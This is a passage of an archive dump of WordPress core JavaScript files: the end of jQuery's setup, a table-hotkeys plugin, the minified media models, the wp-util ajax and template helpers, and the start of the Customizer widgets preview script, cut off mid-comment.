jQuery.holdReady = function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }; jQuery.isArray = Array.isArray; jQuery.parseJSON = JSON.parse; jQuery.nodeName = nodeName; jQuery.isFunction = isFunction; jQuery.isWindow = isWindow; jQuery.camelCase = camelCase; jQuery.type = toType; jQuery.now = Date.now; jQuery.isNumeric = function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = jQuery.type( obj ); return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }; jQuery.trim = function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a global if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( typeof define === "function" && define.amd ) { define( "jquery", [], function() { return jQuery; } ); } var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in AMD // (#7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (#13566) if ( typeof noGlobal === "undefined" ) { window.jQuery = window.$ = jQuery; } return jQuery; } ); jQuery.noConflict();������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.table-hotkeys.js�������������������������������������������������������������������0000644�����������������00000007250�14717703502�0013140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function($){ $.fn.filter_visible = function(depth) { depth = depth || 3; var is_visible = function() { var p = $(this), i; for(i=0; i<depth-1; ++i) { if (!p.is(':visible')) return false; p = p.parent(); } return true; }; return this.filter(is_visible); }; $.table_hotkeys = function(table, keys, opts) { opts = $.extend($.table_hotkeys.defaults, opts); var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row; selected_class = opts.class_prefix + opts.selected_suffix; destructive_class = opts.class_prefix + opts.destructive_suffix; set_current_row = function (tr) { if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class); tr.addClass(selected_class); tr[0].scrollIntoView(false); $.table_hotkeys.current_row = tr; }; adjacent_row_callback = function(which) { if (!adjacent_row(which) && typeof opts[which+'_page_link_cb'] === 'function' ) { opts[which+'_page_link_cb'](); } }; get_adjacent_row = function(which) { var first_row, method; if (!$.table_hotkeys.current_row) { first_row = get_first_row(); $.table_hotkeys.current_row = first_row; return first_row[0]; } method = 'prev' == which? $.fn.prevAll : $.fn.nextAll; return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0]; }; adjacent_row = function(which) { var adj = get_adjacent_row(which); if (!adj) return false; set_current_row($(adj)); return true; }; prev_row = function() { return adjacent_row('prev'); }; next_row = function() { return adjacent_row('next'); }; check = function() { $(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() { this.checked = !this.checked; }); }; get_first_row = function() { return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index); }; get_last_row = function() { var rows = $(opts.cycle_expr, table).filter_visible(); return rows.eq(rows.length-1); }; make_key_callback = function(expr) { return function() { if ( null == $.table_hotkeys.current_row ) return false; var clickable = $(expr, $.table_hotkeys.current_row); if (!clickable.length) return false; if (clickable.is('.'+destructive_class)) next_row() || prev_row(); clickable.trigger( 'click' ); }; }; first_row = get_first_row(); if (!first_row.length) return; if (opts.highlight_first) set_current_row(first_row); else if (opts.highlight_last) set_current_row(get_last_row()); $.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev');}); $.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next');}); $.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check); $.each(keys, function() { var callback, key; if ( typeof this[1] === 'function' ) { callback = this[1]; key = this[0]; $.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); }); } else { key = this; $.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key)); } }); }; $.table_hotkeys.current_row = null; $.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current', destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'}, checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x', start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false}; })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-models.min.js������������������������������������������������������������������������������0000644�����������������00000032173�14717703502�0010654 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(){var i={7727:function(t){var n=Backbone.$,e=Backbone.Model.extend({sync:function(t,e,i){return _.isUndefined(this.id)?n.Deferred().rejectWith(this).promise():"read"===t?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"get-attachment",id:this.id}),wp.media.ajax(i)):"update"===t?this.get("nonces")&&this.get("nonces").update?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"save-attachment",id:this.id,nonce:this.get("nonces").update,post_id:wp.media.model.settings.post.id}),e.hasChanged()&&(i.data.changes={},_.each(e.changed,function(t,e){i.data.changes[e]=this.get(e)},this)),wp.media.ajax(i)):n.Deferred().rejectWith(this).promise():"delete"===t?((i=i||{}).wait||(this.destroyed=!0),i.context=this,i.data=_.extend(i.data||{},{action:"delete-post",id:this.id,_wpnonce:this.get("nonces").delete}),wp.media.ajax(i).done(function(){this.destroyed=!0}).fail(function(){this.destroyed=!1})):Backbone.Model.prototype.sync.apply(this,arguments)},parse:function(t){return t&&(t.date=new Date(t.date),t.modified=new Date(t.modified),t)},saveCompat:function(t,s){var r=this;return this.get("nonces")&&this.get("nonces").update?wp.media.post("save-attachment-compat",_.defaults({id:this.id,nonce:this.get("nonces").update,post_id:wp.media.model.settings.post.id},t)).done(function(t,e,i){r.set(r.parse(t,i),s)}):n.Deferred().rejectWith(this).promise()}},{create:function(t){return wp.media.model.Attachments.all.push(t)},get:_.memoize(function(t,e){return wp.media.model.Attachments.all.push(e||{id:t})})});t.exports=e},6940:function(t){var n=Backbone.Collection.extend({model:wp.media.model.Attachment,initialize:function(t,e){e=e||{},this.props=new Backbone.Model,this.filters=e.filters||{},this.props.on("change",this._changeFilteredProps,this),this.props.on("change:order",this._changeOrder,this),this.props.on("change:orderby",this._changeOrderby,this),this.props.on("change:query",this._changeQuery,this),this.props.set(_.defaults(e.props||{})),e.observe&&this.observe(e.observe)},_changeOrder:function(){this.comparator&&this.sort()},_changeOrderby:function(t,e){this.comparator&&this.comparator!==n.comparator||(e&&"post__in"!==e?this.comparator=n.comparator:delete this.comparator)},_changeQuery:function(t,e){e?(this.props.on("change",this._requery,this),this._requery()):this.props.off("change",this._requery,this)},_changeFilteredProps:function(r){this.props.get("query")||_.chain(r.changed).map(function(t,e){var i=n.filters[e],s=r.get(e);if(i){if(s&&!this.filters[e])this.filters[e]=i;else{if(s||this.filters[e]!==i)return;delete this.filters[e]}return!0}},this).any().value()&&(this._source||(this._source=new n(this.models)),this.reset(this._source.filter(this.validator,this)))},validateDestroyed:!1,validator:function(e){return!(!this.validateDestroyed&&e.destroyed)&&_.all(this.filters,function(t){return!!t.call(this,e)},this)},validate:function(t,e){var i=this.validator(t),s=!!this.get(t.cid);return!i&&s?this.remove(t,e):i&&!s&&this.add(t,e),this},validateAll:function(t,e){return e=e||{},_.each(t.models,function(t){this.validate(t,{silent:!0})},this),e.silent||this.trigger("reset",this,e),this},observe:function(t){return this.observers=this.observers||[],this.observers.push(t),t.on("add change remove",this._validateHandler,this),t.on("add",this._addToTotalAttachments,this),t.on("remove",this._removeFromTotalAttachments,this),t.on("reset",this._validateAllHandler,this),this.validateAll(t),this},unobserve:function(t){return t?(t.off(null,null,this),this.observers=_.without(this.observers,t)):(_.each(this.observers,function(t){t.off(null,null,this)},this),delete this.observers),this},_removeFromTotalAttachments:function(){this.mirroring&&(this.mirroring.totalAttachments=this.mirroring.totalAttachments-1)},_addToTotalAttachments:function(){this.mirroring&&(this.mirroring.totalAttachments=this.mirroring.totalAttachments+1)},_validateHandler:function(t,e,i){return i=e===this.mirroring?i:{silent:i&&i.silent},this.validate(t,i)},_validateAllHandler:function(t,e){return this.validateAll(t,e)},mirror:function(t){return this.mirroring&&this.mirroring===t||(this.unmirror(),this.mirroring=t,this.reset([],{silent:!0}),this.observe(t),this.trigger("attachments:received",this)),this},unmirror:function(){this.mirroring&&(this.unobserve(this.mirroring),delete this.mirroring)},more:function(t){var e=jQuery.Deferred(),i=this.mirroring,s=this;return i&&i.more?(i.more(t).done(function(){this===s.mirroring&&e.resolveWith(this),s.trigger("attachments:received",this)}),e.promise()):e.resolveWith(this).promise()},hasMore:function(){return!!this.mirroring&&this.mirroring.hasMore()},totalAttachments:0,getTotalAttachments:function(){return this.mirroring?this.mirroring.totalAttachments:0},parse:function(t,i){return _.isArray(t)||(t=[t]),_.map(t,function(t){var e;return t instanceof Backbone.Model?(e=t.get("id"),t=t.attributes):e=t.id,t=(e=wp.media.model.Attachment.get(e)).parse(t,i),_.isEqual(e.attributes,t)||e.set(t),e})},_requery:function(){var t;this.props.get("query")&&(t=this.props.toJSON(),this.mirror(wp.media.model.Query.get(t)))},saveMenuOrder:function(){if("menuOrder"===this.props.get("orderby")){var t=this.chain().filter(function(t){return!_.isUndefined(t.id)}).map(function(t,e){return t.set("menuOrder",e+=1),[t.id,e]}).object().value();if(!_.isEmpty(t))return wp.media.post("save-attachment-order",{nonce:wp.media.model.settings.post.nonce,post_id:wp.media.model.settings.post.id,attachments:t})}}},{comparator:function(t,e,i){var s=this.props.get("orderby"),r=this.props.get("order")||"DESC",n=t.cid,a=e.cid;return t=t.get(s),e=e.get(s),"date"!==s&&"modified"!==s||(t=t||new Date,e=e||new Date),i&&i.ties&&(n=a=null),"DESC"===r?wp.media.compare(t,e,n,a):wp.media.compare(e,t,a,n)},filters:{search:function(e){return!this.props.get("search")||_.any(["title","filename","description","caption","name"],function(t){t=e.get(t);return t&&-1!==t.search(this.props.get("search"))},this)},type:function(t){var e,i=this.props.get("type"),t=t.toJSON();return!(i&&(!_.isArray(i)||i.length))||(e=t.mime||t.file&&t.file.type||"",_.isArray(i)?_.find(i,function(t){return-1!==e.indexOf(t)}):-1!==e.indexOf(i))},uploadedTo:function(t){var e=this.props.get("uploadedTo");return!!_.isUndefined(e)||e===t.get("uploadedTo")},status:function(t){var e=this.props.get("status");return!!_.isUndefined(e)||e===t.get("status")}}});t.exports=n},5927:function(t){var e=Backbone.Model.extend({initialize:function(t){var e=wp.media.model.Attachment;this.attachment=!1,t.attachment_id&&(this.attachment=e.get(t.attachment_id),this.attachment.get("url")?(this.dfd=jQuery.Deferred(),this.dfd.resolve()):this.dfd=this.attachment.fetch(),this.bindAttachmentListeners()),this.on("change:link",this.updateLinkUrl,this),this.on("change:size",this.updateSize,this),this.setLinkTypeFromUrl(),this.setAspectRatio(),this.set("originalUrl",t.url)},bindAttachmentListeners:function(){this.listenTo(this.attachment,"sync",this.setLinkTypeFromUrl),this.listenTo(this.attachment,"sync",this.setAspectRatio),this.listenTo(this.attachment,"change",this.updateSize)},changeAttachment:function(t,e){this.stopListening(this.attachment),this.attachment=t,this.bindAttachmentListeners(),this.set("attachment_id",this.attachment.get("id")),this.set("caption",this.attachment.get("caption")),this.set("alt",this.attachment.get("alt")),this.set("size",e.get("size")),this.set("align",e.get("align")),this.set("link",e.get("link")),this.updateLinkUrl(),this.updateSize()},setLinkTypeFromUrl:function(){var t,e=this.get("linkUrl");e?(t="custom",this.attachment?this.attachment.get("url")===e?t="file":this.attachment.get("link")===e&&(t="post"):this.get("url")===e&&(t="file"),this.set("link",t)):this.set("link","none")},updateLinkUrl:function(){var t;switch(this.get("link")){case"file":t=(this.attachment||this).get("url"),this.set("linkUrl",t);break;case"post":this.set("linkUrl",this.attachment.get("link"));break;case"none":this.set("linkUrl","")}},updateSize:function(){var t;if(this.attachment){if("custom"===this.get("size"))return this.set("width",this.get("customWidth")),this.set("height",this.get("customHeight")),void this.set("url",this.get("originalUrl"));(t=this.attachment.get("sizes")[this.get("size")])&&(this.set("url",t.url),this.set("width",t.width),this.set("height",t.height))}},setAspectRatio:function(){var t;this.attachment&&this.attachment.get("sizes")&&(t=this.attachment.get("sizes").full)?this.set("aspectRatio",t.width/t.height):this.set("aspectRatio",this.get("customWidth")/this.get("customHeight"))}});t.exports=e},4009:function(t){var a,r=wp.media.model.Attachments,o=r.extend({initialize:function(t,e){var i;e=e||{},r.prototype.initialize.apply(this,arguments),this.args=e.args,this._hasMore=!0,this.created=new Date,this.filters.order=function(t){var e=this.props.get("orderby"),i=this.props.get("order");return!this.comparator||(this.length?1!==this.comparator(t,this.last(),{ties:!0}):"DESC"!==i||"date"!==e&&"modified"!==e?"ASC"===i&&"menuOrder"===e&&0===t.get(e):t.get(e)>=this.created)},i=["s","order","orderby","posts_per_page","post_mime_type","post_parent","author"],wp.Uploader&&_(this.args).chain().keys().difference(i).isEmpty().value()&&this.observe(wp.Uploader.queue)},hasMore:function(){return this._hasMore},more:function(t){var e=this;return this._more&&"pending"===this._more.state()?this._more:this.hasMore()?((t=t||{}).remove=!1,this._more=this.fetch(t).done(function(t){(_.isEmpty(t)||-1===e.args.posts_per_page||t.length<e.args.posts_per_page)&&(e._hasMore=!1)})):jQuery.Deferred().resolveWith(this).promise()},sync:function(t,e,i){var s;return"read"===t?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"query-attachments",post_id:wp.media.model.settings.post.id}),-1!==(s=_.clone(this.args)).posts_per_page&&(s.paged=Math.round(this.length/s.posts_per_page)+1),i.data.query=s,wp.media.ajax(i)):(r.prototype.sync?r.prototype:Backbone).sync.apply(this,arguments)}},{defaultProps:{orderby:"date",order:"DESC"},defaultArgs:{posts_per_page:80},orderby:{allowed:["name","author","date","title","modified","uploadedTo","id","post__in","menuOrder"],valuemap:{id:"ID",uploadedTo:"parent",menuOrder:"menu_order ID"}},propmap:{search:"s",type:"post_mime_type",perPage:"posts_per_page",menuOrder:"menu_order",uploadedTo:"post_parent",status:"post_status",include:"post__in",exclude:"post__not_in",author:"author"},get:(a=[],function(e,t){var i,s={},r=o.orderby,n=o.defaultProps;return delete e.query,_.defaults(e,n),e.order=e.order.toUpperCase(),"DESC"!==e.order&&"ASC"!==e.order&&(e.order=n.order.toUpperCase()),_.contains(r.allowed,e.orderby)||(e.orderby=n.orderby),_.each(["include","exclude"],function(t){e[t]&&!_.isArray(e[t])&&(e[t]=[e[t]])}),_.each(e,function(t,e){_.isNull(t)||(s[o.propmap[e]||e]=t)}),_.defaults(s,o.defaultArgs),s.orderby=r.valuemap[e.orderby]||e.orderby,a=[],i||(i=new o([],_.extend(t||{},{props:e,args:s})),a.push(i)),i})});t.exports=o},6584:function(t){var i=wp.media.model.Attachments,e=i.extend({initialize:function(t,e){i.prototype.initialize.apply(this,arguments),this.multiple=e&&e.multiple,this.on("add remove reset",_.bind(this.single,this,!1))},add:function(t,e){return this.multiple||this.remove(this.models),i.prototype.add.call(this,t,e)},single:function(t){var e=this._single;return t&&(this._single=t),this._single&&!this.get(this._single.cid)&&delete this._single,this._single=this._single||this.last(),this._single!==e&&(e&&(e.trigger("selection:unsingle",e,this),this.get(e.cid)||this.trigger("selection:unsingle",e,this)),this._single&&this._single.trigger("selection:single",this._single,this)),this._single}});t.exports=e}},s={};function r(t){var e=s[t];if(void 0!==e)return e.exports;e=s[t]={exports:{}};return i[t](e,e.exports,r),e.exports}var e,n,t,a,o;o=jQuery,window.wp=window.wp||{},a=wp.media=function(t){var e,i=a.view.MediaFrame;if(i)return"select"===(t=_.defaults(t||{},{frame:"select"})).frame&&i.Select?e=new i.Select(t):"post"===t.frame&&i.Post?e=new i.Post(t):"manage"===t.frame&&i.Manage?e=new i.Manage(t):"image"===t.frame&&i.ImageDetails?e=new i.ImageDetails(t):"audio"===t.frame&&i.AudioDetails?e=new i.AudioDetails(t):"video"===t.frame&&i.VideoDetails?e=new i.VideoDetails(t):"edit-attachments"===t.frame&&i.EditAttachments&&(e=new i.EditAttachments(t)),delete t.frame,a.frame=e},_.extend(a,{model:{},view:{},controller:{},frames:{}}),t=a.model.l10n=window._wpMediaModelsL10n||{},a.model.settings=t.settings||{},delete t.settings,e=a.model.Attachment=r(7727),n=a.model.Attachments=r(6940),a.model.Query=r(4009),a.model.PostImage=r(5927),a.model.Selection=r(6584),a.compare=function(t,e,i,s){return _.isEqual(t,e)?i===s?0:s<i?-1:1:e<t?-1:1},_.extend(a,{template:wp.template,post:wp.ajax.post,ajax:wp.ajax.send,fit:function(t){var e,i=t.width,s=t.height,r=t.maxWidth,t=t.maxHeight;return _.isUndefined(r)||_.isUndefined(t)?_.isUndefined(t)?e="width":_.isUndefined(r)&&t<s&&(e="height"):e=r/t<i/s?"width":"height","width"===e&&r<i?{width:r,height:Math.round(r*s/i)}:"height"===e&&t<s?{width:Math.round(t*i/s),height:t}:{width:i,height:s}},truncate:function(t,e,i){return i=i||"…",t.length<=(e=e||30)?t:t.substr(0,e/2)+i+t.substr(-1*e/2)}}),a.attachment=function(t){return e.get(t)},n.all=new n,a.query=function(t){return new n(null,{props:_.extend(_.defaults(t||{},{orderby:"date"}),{query:!0})})},o(window).on("unload",function(){window.wp=null})}();�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-util.js���������������������������������������������������������������������������������������0000644�����������������00000010715�14717703502�0007131 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/wp-util.js */ /* global _wpUtilSettings */ /** @namespace wp */ window.wp = window.wp || {}; (function ($) { // Check for the utility settings. var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings; /** * wp.template( id ) * * Fetch a JavaScript template for an id, and return a templating function for it. * * @param {string} id A string that corresponds to a DOM element with an id prefixed with "tmpl-". * For example, "attachment" maps to "tmpl-attachment". * @return {function} A function that lazily-compiles the template requested. */ wp.template = _.memoize(function ( id ) { var compiled, /* * Underscore's default ERB-style templates are incompatible with PHP * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax. * * @see trac ticket #22344. */ options = { evaluate: /<#([\s\S]+?)#>/g, interpolate: /\{\{\{([\s\S]+?)\}\}\}/g, escape: /\{\{([^\}]+?)\}\}(?!\})/g, variable: 'data' }; return function ( data ) { compiled = compiled || _.template( $( '#tmpl-' + id ).html(), options ); return compiled( data ); }; }); /* * wp.ajax * ------ * * Tools for sending ajax requests with JSON responses and built in error handling. * Mirrors and wraps jQuery's ajax APIs. */ wp.ajax = { settings: settings.ajax || {}, /** * wp.ajax.post( [action], [data] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} data Optional. The data to populate $_POST with. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ post: function( action, data ) { return wp.ajax.send({ data: _.isObject( action ) ? action : _.extend( data || {}, { action: action }) }); }, /** * wp.ajax.send( [action], [options] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} options Optional. The options passed to jQuery.ajax. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ send: function( action, options ) { var promise, deferred; if ( _.isObject( action ) ) { options = action; } else { options = options || {}; options.data = _.extend( options.data || {}, { action: action }); } options = _.defaults( options || {}, { type: 'POST', url: wp.ajax.settings.url, context: this }); deferred = $.Deferred( function( deferred ) { // Transfer success/error callbacks. if ( options.success ) { deferred.done( options.success ); } if ( options.error ) { deferred.fail( options.error ); } delete options.success; delete options.error; // Use with PHP's wp_send_json_success() and wp_send_json_error(). deferred.jqXHR = $.ajax( options ).done( function( response ) { // Treat a response of 1 as successful for backward compatibility with existing handlers. if ( response === '1' || response === 1 ) { response = { success: true }; } if ( _.isObject( response ) && ! _.isUndefined( response.success ) ) { // When handling a media attachments request, get the total attachments from response headers. var context = this; deferred.done( function() { if ( action && action.data && 'query-attachments' === action.data.action && deferred.jqXHR.hasOwnProperty( 'getResponseHeader' ) && deferred.jqXHR.getResponseHeader( 'X-WP-Total' ) ) { context.totalAttachments = parseInt( deferred.jqXHR.getResponseHeader( 'X-WP-Total' ), 10 ); } else { context.totalAttachments = 0; } } ); deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] ); } else { deferred.rejectWith( this, [response] ); } }).fail( function() { deferred.rejectWith( this, arguments ); }); }); promise = deferred.promise(); promise.abort = function() { deferred.jqXHR.abort(); return this; }; return promise; } }; }(jQuery)); ���������������������������������������������������js/customize-preview-widgets.js���������������������������������������������������������������������0000644�����������������00000055325�14717703502�0012703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * 